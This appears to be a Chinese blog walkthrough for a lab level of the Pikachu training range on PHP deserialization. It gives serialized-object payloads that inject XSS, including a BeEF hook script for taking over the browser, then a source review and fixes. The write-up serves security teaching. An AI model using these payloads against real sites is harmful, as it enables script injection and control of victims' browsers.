Pikachu靶场通关笔记(41) — PHP反序列化漏洞

24次阅读
没有评论

1. 漏洞概述

序列化 (Serialization) 是指将复杂的数据结构或对象转换成一个字符串的过程,方便在网络中传输或存入文件。
反序列化 (Deserialization) 则是将这个字符串重新恢复成原来的对象的过程。

如果应用程序在反序列化时,没有对用户传入的序列化字符串进行严格的校验,攻击者就可以通过精心构造恶意的序列化数据,篡改对象中的属性值。如果程序中还存在某些“魔术方法”(如 __wakeup, __destruct 等)或直接使用了这些被篡改的属性,就会导致代码执行、越权访问、甚至是跨站脚本攻击(XSS)等严重后果。

本关卡演示的是通过反序列化漏洞控制对象属性,进而引发 XSS 攻击,并结合 BeEF 框架实现对目标浏览器的控制。


2. 闯关实操 (Exploitation)

第一步:初步测试与结构分析

打开关卡页面,提示这是一个接受序列化数据的 API。根据平台概述的提示,我们构造一个基础的 PHP 序列化字符串进行测试:
O:1:"S":1:{s:4:"test";s:7:"pikachu";}

参数解析:

  • O:1:"S":代表这是一个对象 (Object),类名为 S,类名长度为 1。
  • 1::代表该对象有 1 个属性。
  • s:4:"test":属性名为字符串 (string),长度为 4,值为 test
  • s:7:"pikachu":属性值为字符串,长度为 7,值为 pikachu

将这段数据输入框并提交,页面成功回显了 pikachu。这说明服务器成功反序列化了我们的数据,并将 test 属性的值打印了出来。

第二步:篡改属性值,触发 XSS

既然我们可以控制 test 属性的值,且该值会被输出到前端,我们自然想到了植入 XSS 恶意代码。我们将 pikachu 替换为弹窗脚本 <script>alert(1)</script>
注意:在 PHP 序列化中,必须严格匹配字符串的长度。这段脚本长度为 25。

构造 Payload:
O:1:"S":1:{s:4:"test";s:25:"<script>alert(1)</script>";}

提交后,页面成功弹窗显示 1,说明反序列化成功引发了 XSS 漏洞!

Pikachu 靶场通关笔记(41) — PHP 反序列化漏洞

第三步:实战进阶 — 结合 BeEF 上线

为了扩大危害,我们不只是弹个窗,而是尝试让当前浏览器上线到我们的 BeEF (Browser Exploitation Framework) 平台上。
我们需要将 XSS Payload 修改为引入 BeEF 的 Hook 脚本:<script src="http://localhost:3000/hook.js"></script>
这段脚本长度为 53。

构造终极 Payload:
O:1:"S":1:{s:4:"test";s:53:"<script src="http://localhost:3000/hook.js"></script>";}

提交该序列化数据后,表面上页面没有明显变化,但后台已经悄悄加载了 hook.js。打开 BeEF 控制台,发现浏览器已成功上线!我们通过 BeEF 下发了一个 Create Alert Dialog 模块,目标浏览器成功弹出了“上线 beef”的提示框。

Pikachu 靶场通关笔记(41) — PHP 反序列化漏洞

3. 源码分析 (Code Review)

为什么一段序列化字符串能造成这么大的破坏?我们来查看后端的 PHP 源码:

class S{
    var $test = "pikachu";
    function __construct(){echo $this->test;}
}

$html='';
if(isset($_POST['o'])){$s = $_POST['o']; // 1. 直接获取用户输入的字符串
    if(!@$unser = unserialize($s)){ // 2. 无脑反序列化
        $html.="<p> 大兄弟, 来点劲爆点儿的!</p>";
    }else{$html.="<p>{$unser->test}</p>"; // 3. 直接拼接输出,无转义
    }
}
?>
<!-- ... -->
<?php echo $html;?>

漏洞成因非常清晰:

  1. 不可信的输入源:程序直接接收了 $_POST['o'] 中的数据。
  2. 危险的函数使用:直接将不可信的用户输入交给了 PHP 的内置函数 unserialize() 进行处理。
  3. 缺乏输出过滤:反序列化生成对象 $unser 后,程序直接提取了 $unser->test 的值,并在没有进行任何 HTML 实体转义(如 htmlspecialchars)的情况下,拼接到 HTML 中输出。

这就导致攻击者可以通过反序列化随意控制 $test 变量的内容,而没有任何过滤的输出则直接催生了 XSS 漏洞。


4. 修复建议

防御反序列化漏洞,核心原则是 绝对不要对不可信的数据进行反序列化

针对本关卡的修复方案如下:

  1. 使用安全的轻量级数据格式(强烈推荐)
    如果只是为了传递数据,放弃使用 serialize()unserialize()。改用 json_encode()json_decode()。JSON 只是一种数据格式,不包含对象的方法和魔术调用,因此彻底杜绝了 PHP 反序列化漏洞。
  2. 增加输出过滤(防御 XSS)
    在将任何用户可控的数据输出到前端页面时,必须进行转义处理。// 修复示例 $safe_test = htmlspecialchars($unser->test, ENT_QUOTES, 'UTF-8'); $html .= "<p>{$safe_test}</p>";
  3. 如果必须使用反序列化
    在 PHP 7.0+ 版本中,unserialize() 提供了一个 options 数组,可以通过 allowed_classes 来限制可以被反序列化的类(白名单机制),降低风险。
正文完
 0
评论(没有评论)